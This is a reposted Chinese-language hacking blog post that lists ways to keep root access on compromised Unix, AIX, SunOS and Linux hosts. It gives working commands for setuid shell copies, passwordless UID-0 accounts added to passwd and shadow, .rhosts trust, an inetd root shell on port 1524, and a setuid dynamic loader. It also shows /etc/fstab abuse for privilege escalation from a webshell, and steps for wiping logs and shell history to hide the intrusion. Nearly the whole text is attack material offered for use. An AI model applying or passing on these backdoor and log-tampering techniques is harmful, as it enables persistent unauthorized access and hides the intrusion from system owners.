1. setuid
#cp /bin/sh /tmp/.sh
#chmod u+s /tmp/.sh
加上 suid 位到shell上,雖然很簡單,但容易被發現
2. echo “hack::0:0::/:/bin/csh” >> /etc/passwd
即給系統增加一個 id 為 0(root)的帳号,無密碼。
但管理者很快就可以發現哦!
3.echo “++”>>/.rhosts
如果這個系統開了512,513的port呵呵,就可以
把一個名為hack加到.rhosts檔案中,rlogin登陸,無要密碼!
4.修改 sendmail.cf檔案 增加一個”wiz” 指令;
然後telnet www.xxx.com 25後,wiz。。。。ok
5. 改已有使用者密碼
如果主機上有好多使用者,當你看到一個使用者好久沒登入了,就可以改他的密碼
#passwd 可用passwd指令。
網上有好多地方下載下傳,找找,自己試試看,我也在測試中!不會啊!!!!
echo love::92:206::0:0::/:/bin/sh >> /etc/master.passwd
/usr/sbin/pwd_mkdb /etc/master.passwd
這裡我添加一個love的使用者使用者的ID是92;ROOT的是0哦!
好了我們添加一個使用者了!那麼權限不夠怎麼辦呢?
cp /bin/sh /tmp/.x (這個x就是随便選個,好像 .sh , .a , .b 等等)
chmod 777 /tmp/.x
chmod +s /tmp/.x
以後我們登陸的這台殭屍電腦以後就可以用tmp/.x來提升權限了。
-AIX 後門 (Kelvinzhou教我的,感謝你)
echo “ingreslock stream tcp nowait root /bin/sh”>>/tmp/.x
/usr/sbin/inetd -s /tmp/.x
rm /tmp/.x
這樣你就可以telnet ip 1524直接得到rootshell
-SunOs 後門
echo “love::0:0::/:/bin/bash” >> /etc/passwd
echo “love::::::::” >> /etc/shadow
當你以telnet上時,你就是root了!不過不保險!
-Linux 後門
留了後門就要擦你的PP了,不是吧,這也忘了!
一般我們要清除的日志有
lastlog
utmp
wtmp
messages
syslog
sulog
此外,各種shell還會記錄使用者使用的指令曆史,它使用使用者主目錄下的檔案來記錄這些指令曆史,通常這個檔案的名字為.sh_history (ksh),.history (csh),或.bash_history (bash)等。
如果你有像wipe.c 那樣的清日志的程式,就可以讓它來做,不然的話就要手動了! 建議不要用rm掉日志,最好是,把日志改編,
比如:
#cat > /usr/log/lastlog
->這裡是你要的寫的東西,也可以不輸入哦!
^d ->這裡的^d是按鍵 ctrl + d! 結束!
#
剩下的事情:
1、删除我的telnet記錄。
2、删除http的日志。
清除日志我使用的辦法是:cat xxx |grep -V “IP” >>temp然後在把temp覆寫那些被我修改過的日志檔案。
webshell下LINUX提權+留後門
方法一:setuid的方法,其實8是很隐蔽。看看過程:
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
[root@localdomain lib]# chmod +s ld-linux.so.2
[root@localdomain lib]# ls -l |grep ld-2.7.so
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
[root@localdomain lib]#
我們這裡給/lib/ld-linux.so.2這個檔案(在FC8裡,它指向ld-2.7.so這個檔案)加了setuid屬性。然後我們看怎麼利用它。
普通使用者登入,測試下權限:
[xiaoyu@localdomain ~]$ whoami
xiaoyu
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`
root
[xiaoyu@localdomain ~]$
恩,嘿嘿 root了吧,具體怎麼生成root shell,你們自己去想吧,凡事都不要點得太透,對吧。呵呵,可以肯定的一點,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash檢查euid 和uid,看是否相等…OK,不多說了。
方法二:
看過程:
[root@localdomain etc]# chmod a+w /etc/fstab
[root@localdomain etc]#
這就留好了。此方法比較XXOXX,估計沒幾個管理者知道。利用方法示範下
[xiaoyu@localdomain ~]$ ls -l /etc/fstab
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab
[xiaoyu@localdomain ~]$ echo ‘test /mnt ext2 user,suid,exec,loop 0 0′ >> /etc/fstab
然後從本機把一個檔案到目标機器上去,這裡我們命名為test
[xiaoyu@localdomain tmp]$ ls -l test
-rw-rw-r– 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test
[xiaoyu@localdomain tmp]$ mount test
[xiaoyu@localdomain tmp]$ cd /mnt
[xiaoyu@localdomain mnt]$ ls -l
total 18
drwx—— 2 root root 12288 2008-04-20 05:44 lost+found
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root
[xiaoyu@localdomain mnt]$ ./root
sh-3.2#
看到了吧,從普通使用者提升到root了。呵呵。
test這個檔案baidu貌似木有上傳功能撒,木辦法傳
貌似可能有人說本地後門木啥鳥用,但是你要搞清楚:一個webshell裡面就可以完成這一切….
本文轉sinojelly51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/394296,如需轉載請自行聯系原作者